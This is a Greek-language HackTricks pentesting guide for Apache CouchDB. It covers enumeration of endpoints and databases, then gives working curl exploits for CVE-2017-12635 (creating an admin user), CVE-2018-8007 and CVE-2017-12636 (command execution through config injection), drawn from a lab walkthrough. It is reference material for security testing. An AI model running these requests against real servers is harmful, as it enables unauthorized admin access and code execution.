5984,6984 - Pentesting CouchDB

Support HackTricks

Basic Information

CouchDB είναι μια ευέλικτη και ισχυρή βάση δεδομένων προσανατολισμένη σε έγγραφα που οργανώνει τα δεδομένα χρησιμοποιώντας μια δομή χάρτη κλειδιού-τιμής μέσα σε κάθε έγγραφο. Τα πεδία μέσα στο έγγραφο μπορούν να αναπαριστώνται ως ζεύγη κλειδιού/τιμής, λίστες ή χάρτες, παρέχοντας ευελιξία στην αποθήκευση και ανάκτηση δεδομένων.

Κάθε έγγραφο που αποθηκεύεται στο CouchDB έχει ανατεθεί μια μοναδική ταυτότητα (_id) σε επίπεδο εγγράφου. Επιπλέον, κάθε τροποποίηση που γίνεται και αποθηκεύεται στη βάση δεδομένων ανατίθεται έναν αριθμό αναθεώρησης (_rev). Αυτός ο αριθμός αναθεώρησης επιτρέπει την αποτελεσματική παρακολούθηση και διαχείριση αλλαγών, διευκολύνοντας την εύκολη ανάκτηση και συγχρονισμό των δεδομένων μέσα στη βάση δεδομένων.

Προεπιλεγμένη θύρα: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Αυτόματη Καταμέτρηση

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Manual Enumeration

curl http://IP:5984/

Αυτό εκδίδει ένα αίτημα GET στην εγκατεστημένη έκδοση CouchDB. Η απάντηση θα πρέπει να μοιάζει κάπως με μία από τις παρακάτω:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Σημειώστε ότι αν προσπαθήσετε να αποκτήσετε πρόσβαση στη ρίζα του couchdb και λάβετε ένα 401 Unauthorized με κάτι σαν αυτό: {"error":"unauthorized","reason":"Authentication required."} δεν θα μπορείτε να αποκτήσετε πρόσβαση στην πινακίδα ή σε οποιοδήποτε άλλο endpoint.

Info Enumeration

Αυτά είναι τα endpoints όπου μπορείτε να αποκτήσετε πρόσβαση με ένα GET αίτημα και να εξαγάγετε κάποιες ενδιαφέρουσες πληροφορίες. Μπορείτε να βρείτε περισσότερα endpoints και πιο λεπτομερείς περιγραφές στην τεκμηρίωση του couchdb.

  • /_active_tasks Λίστα τρεχουσών εργασιών, συμπεριλαμβανομένου του τύπου εργασίας, ονόματος, κατάστασης και ID διαδικασίας.

  • /_all_dbs Επιστρέφει μια λίστα με όλες τις βάσεις δεδομένων στην εγκατάσταση CouchDB.

  • /_cluster_setup Επιστρέφει την κατάσταση του κόμβου ή του κλάσματος, σύμφωνα με τον οδηγό ρύθμισης κλάσματος.

  • /_db_updates Επιστρέφει μια λίστα με όλα τα γεγονότα βάσης δεδομένων στην εγκατάσταση CouchDB. Η ύπαρξη της βάσης δεδομένων _global_changes είναι απαραίτητη για τη χρήση αυτού του endpoint.

  • /_membership Εμφανίζει τους κόμβους που είναι μέρος του κλάσματος ως cluster_nodes. Το πεδίο all_nodes εμφανίζει όλους τους κόμβους που γνωρίζει αυτός ο κόμβος, συμπεριλαμβανομένων αυτών που είναι μέρος του κλάσματος.

  • /_scheduler/jobs Λίστα εργασιών αναπαραγωγής. Κάθε περιγραφή εργασίας θα περιλαμβάνει πληροφορίες πηγής και προορισμού, ID αναπαραγωγής, ιστορικό πρόσφατων γεγονότων και μερικά άλλα πράγματα.

  • /_scheduler/docs Λίστα καταστάσεων εγγράφων αναπαραγωγής. Περιλαμβάνει πληροφορίες σχετικά με όλα τα έγγραφα, ακόμη και σε καταστάσεις completed και failed. Για κάθε έγγραφο επιστρέφει το ID εγγράφου, τη βάση δεδομένων, το ID αναπαραγωγής, πηγή και προορισμό, και άλλες πληροφορίες.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Το endpoint /_node/{node-name} μπορεί να χρησιμοποιηθεί για να επιβεβαιώσει το όνομα κόμβου Erlang του διακομιστή που επεξεργάζεται το αίτημα. Αυτό είναι πιο χρήσιμο όταν αποκτάτε πρόσβαση στο /_node/_local για να ανακτήσετε αυτές τις πληροφορίες.

  • /_node/{node-name}/_stats Ο πόρος _stats επιστρέφει ένα αντικείμενο JSON που περιέχει τις στατιστικές για τον τρέχοντα διακομιστή. Η κυριολεκτική συμβολοσειρά _local χρησιμεύει ως ψευδώνυμο για το τοπικό όνομα κόμβου, έτσι για όλα τα URLs στατιστικών, το {node-name} μπορεί να αντικατασταθεί με _local, για να αλληλεπιδράσετε με τις στατιστικές του τοπικού κόμβου.

  • /_node/{node-name}/_system Ο πόρος _system επιστρέφει ένα αντικείμενο JSON που περιέχει διάφορες στατιστικές σε επίπεδο συστήματος για τον τρέχοντα διακομιστή_._ Μπορείτε να χρησιμοποιήσετε ___local ως {node-name} για να αποκτήσετε πληροφορίες σχετικά με τον τρέχοντα κόμβο.

  • /_node/{node-name}/_restart

  • /_up Επιβεβαιώνει ότι ο διακομιστής είναι ενεργός, λειτουργεί και έτοιμος να απαντήσει σε αιτήματα. Αν το maintenance_mode είναι true ή nolb, το endpoint θα επιστρέψει μια απάντηση 404.

  • /_uuids Ζητά ένα ή περισσότερους Καθολικά Μοναδικούς Αναγνωριστές (UUIDs) από την εγκατάσταση CouchDB.

  • /_reshard Επιστρέφει έναν αριθμό ολοκληρωμένων, αποτυχημένων, τρεχουσών, σταματημένων και συνολικών εργασιών μαζί με την κατάσταση της ανακατανομής στο κλάσμα.

Περισσότερες ενδιαφέρουσες πληροφορίες μπορούν να εξαχθούν όπως εξηγείται εδώ: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

Αν το αίτημα απαντήσει με 401 μη εξουσιοδοτημένο, τότε χρειάζεστε έγκυρα διαπιστευτήρια για να αποκτήσετε πρόσβαση στη βάση δεδομένων:

curl -X GET http://user:password@IP:5984/_all_dbs

Για να βρείτε έγκυρα Credentials, θα μπορούσατε να προσπαθήσετε να bruteforce the service.

Αυτή είναι ένα παράδειγμα μιας απάντησης couchdb όταν έχετε αρκετά δικαιώματα για να καταγράψετε τις βάσεις δεδομένων (Είναι απλώς μια λίστα με dbs):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

Μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με τη βάση δεδομένων (όπως αριθμό αρχείων και μεγέθη) αποκτώντας πρόσβαση στο όνομα της βάσης δεδομένων:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Λίστα Εγγράφων

List each entry inside a database

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Διαβάστε Έγγραφο

Διαβάστε το περιεχόμενο ενός εγγράφου μέσα σε μια βάση δεδομένων:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Χάρη στις διαφορές μεταξύ των αναλυτών JSON της Erlang και της JavaScript, μπορείτε να δημιουργήσετε έναν διαχειριστή χρήστη με διαπιστευτήρια hacktricks:hacktricks με το ακόλουθο αίτημα:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Περισσότερες πληροφορίες σχετικά με αυτήν την ευπάθεια εδώ.

CouchDB RCE

Παράδειγμα από εδώ.

Στην τεκμηρίωση του CouchDB, συγκεκριμένα στην ενότητα που αφορά τη ρύθμιση του cluster (σύνδεσμος), συζητείται η χρήση θυρών από το CouchDB σε λειτουργία cluster. Αναφέρεται ότι, όπως στη λειτουργία αυτόνομης λειτουργίας, χρησιμοποιείται η θύρα 5984. Επιπλέον, η θύρα 5986 είναι για APIs τοπικού κόμβου, και σημαντικά, η Erlang απαιτεί την TCP θύρα 4369 για τον Erlang Port Mapper Daemon (EPMD), διευκολύνοντας την επικοινωνία κόμβων εντός ενός cluster Erlang. Αυτή η ρύθμιση σχηματίζει ένα δίκτυο όπου κάθε κόμβος είναι διασυνδεδεμένος με κάθε άλλο κόμβο.

Μια κρίσιμη συμβουλή ασφαλείας επισημαίνεται σχετικά με την θύρα 4369. Εάν αυτή η θύρα γίνει προσβάσιμη μέσω του Διαδικτύου ή οποιουδήποτε μη αξιόπιστου δικτύου, η ασφάλεια του συστήματος εξαρτάται σε μεγάλο βαθμό από έναν μοναδικό αναγνωριστικό που ονομάζεται "cookie." Αυτό το cookie λειτουργεί ως προστατευτικό μέτρο. Για παράδειγμα, σε μια δεδομένη λίστα διαδικασιών, μπορεί να παρατηρηθεί το cookie με το όνομα "monster", υποδεικνύοντας τον λειτουργικό του ρόλο στο πλαίσιο ασφαλείας του συστήματος.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Για όσους ενδιαφέρονται να κατανοήσουν πώς μπορεί να εκμεταλλευτεί αυτό το "cookie" για Remote Code Execution (RCE) στο πλαίσιο των συστημάτων Erlang, διατίθεται μια αφιερωμένη ενότητα για περαιτέρω ανάγνωση. Περιγράφει τις μεθόδους για την εκμετάλλευση των Erlang cookies με μη εξουσιοδοτημένους τρόπους για την επίτευξη ελέγχου πάνω σε συστήματα. Μπορείτε να εξερευνήσετε τον λεπτομερή οδηγό για την κακή χρήση των Erlang cookies για RCE εδώ.

Εκμετάλλευση του CVE-2018-8007 μέσω Τροποποίησης του local.ini

Παράδειγμα από εδώ.

Μια πρόσφατα αποκαλυφθείσα ευπάθεια, CVE-2018-8007, που επηρεάζει το Apache CouchDB, εξετάστηκε, αποκαλύπτοντας ότι η εκμετάλλευση απαιτεί δικαιώματα εγγραφής στο αρχείο local.ini. Αν και δεν είναι άμεσα εφαρμόσιμη στο αρχικό σύστημα στόχο λόγω περιορισμών ασφαλείας, έγιναν τροποποιήσεις για να παραχωρηθούν δικαιώματα εγγραφής στο αρχείο local.ini για σκοπούς εξερεύνησης. Λεπτομερή βήματα και παραδείγματα κώδικα παρέχονται παρακάτω, δείχνοντας τη διαδικασία.

Αρχικά, το περιβάλλον προετοιμάζεται διασφαλίζοντας ότι το αρχείο local.ini είναι εγγράψιμο, επαληθεύεται με την καταγραφή των δικαιωμάτων:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Για να εκμεταλλευτεί την ευπάθεια, εκτελείται μια εντολή curl, στοχεύοντας τη ρύθμιση cors/origins στο local.ini. Αυτό εισάγει μια νέα προέλευση μαζί με επιπλέον εντολές στην ενότητα [os_daemons], με στόχο την εκτέλεση αυθαίρετου κώδικα:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Η επαλήθευση που ακολουθεί δείχνει την εισαγόμενη διαμόρφωση στο local.ini, συγκρίνοντάς την με ένα αντίγραφο ασφαλείας για να επισημάνει τις αλλαγές:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Αρχικά, το αναμενόμενο αρχείο (/tmp/0xdf) δεν υπάρχει, υποδεικνύοντας ότι η εισαγόμενη εντολή δεν έχει εκτελεστεί ακόμα. Περεταίρω έρευνα αποκαλύπτει ότι διαδικασίες σχετικές με το CouchDB εκτελούνται, συμπεριλαμβανομένης μιας που θα μπορούσε δυνητικά να εκτελέσει την εισαγόμενη εντολή:

root@canape:/home/homer/bin# ps aux | grep couch

Με την τερματισμένη διαδικασία CouchDB που έχει εντοπιστεί και επιτρέποντας στο σύστημα να την επανεκκινήσει αυτόματα, ενεργοποιείται η εκτέλεση της εισαγόμενης εντολής, επιβεβαιωμένη από την ύπαρξη του προηγουμένως απολεσθέντος αρχείου:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Αυτή η εξερεύνηση επιβεβαιώνει τη βιωσιμότητα της εκμετάλλευσης του CVE-2018-8007 υπό συγκεκριμένες συνθήκες, ιδίως την απαίτηση για εγ writable πρόσβαση στο αρχείο local.ini. Τα παραδείγματα κώδικα και τα διαδικαστικά βήματα που παρέχονται προσφέρουν έναν σαφή οδηγό για την αναπαραγωγή της εκμετάλλευσης σε ένα ελεγχόμενο περιβάλλον.

Για περισσότερες λεπτομέρειες σχετικά με το CVE-2018-8007, ανατρέξτε στην ανακοίνωση της mdsec: CVE-2018-8007.

Εξερεύνηση του CVE-2017-12636 με Δικαιώματα Εγγραφής στο local.ini

Παράδειγμα από εδώ.

Μια ευπάθεια γνωστή ως CVE-2017-12636 εξερευνήθηκε, η οποία επιτρέπει την εκτέλεση κώδικα μέσω της διαδικασίας CouchDB, αν και συγκεκριμένες ρυθμίσεις μπορεί να αποτρέψουν την εκμετάλλευσή της. Παρά τις πολλές αναφορές Proof of Concept (POC) που είναι διαθέσιμες online, απαιτούνται προσαρμογές για να εκμεταλλευτείτε την ευπάθεια στην έκδοση CouchDB 2, που διαφέρει από την κοινώς στοχοποιημένη έκδοση 1.x. Τα αρχικά βήματα περιλαμβάνουν την επαλήθευση της έκδοσης CouchDB και την επιβεβαίωση της απουσίας της αναμενόμενης διαδρομής των query servers:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Για να υποστηριχθεί η έκδοση 2.0 του CouchDB, χρησιμοποιείται μια νέα διαδρομή:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Οι προσπάθειες προσθήκης και εκτέλεσης ενός νέου διακομιστή ερωτήσεων συνάντησαν σφάλματα που σχετίζονται με άδειες, όπως υποδεικνύεται από την παρακάτω έξοδο:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Περαιτέρω έρευνα αποκάλυψε προβλήματα δικαιωμάτων με το local.ini αρχείο, το οποίο δεν ήταν εγγράψιμο. Με την τροποποίηση των δικαιωμάτων του αρχείου με πρόσβαση root ή homer, κατέστη δυνατό να προχωρήσουμε:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Οι επόμενες προσπάθειες προσθήκης του query server ήταν επιτυχείς, όπως αποδεικνύεται από την απουσία μηνυμάτων σφάλματος στην απάντηση. Η επιτυχής τροποποίηση του αρχείου local.ini επιβεβαιώθηκε μέσω σύγκρισης αρχείων:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Η διαδικασία συνεχίστηκε με τη δημιουργία μιας βάσης δεδομένων και ενός εγγράφου, ακολουθούμενη από μια προσπάθεια εκτέλεσης κώδικα μέσω μιας προσαρμοσμένης προβολής που χαρτογραφείται στον νεοαφιχθέντα διακομιστή ερωτημάτων:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A σύνοψη με μια εναλλακτική payload παρέχει περαιτέρω πληροφορίες σχετικά με την εκμετάλλευση του CVE-2017-12636 υπό συγκεκριμένες συνθήκες. Χρήσιμοι πόροι για την εκμετάλλευση αυτής της ευπάθειας περιλαμβάνουν:

Shodan

  • port:5984 couchdb

Αναφορές

Support HackTricks

Last updated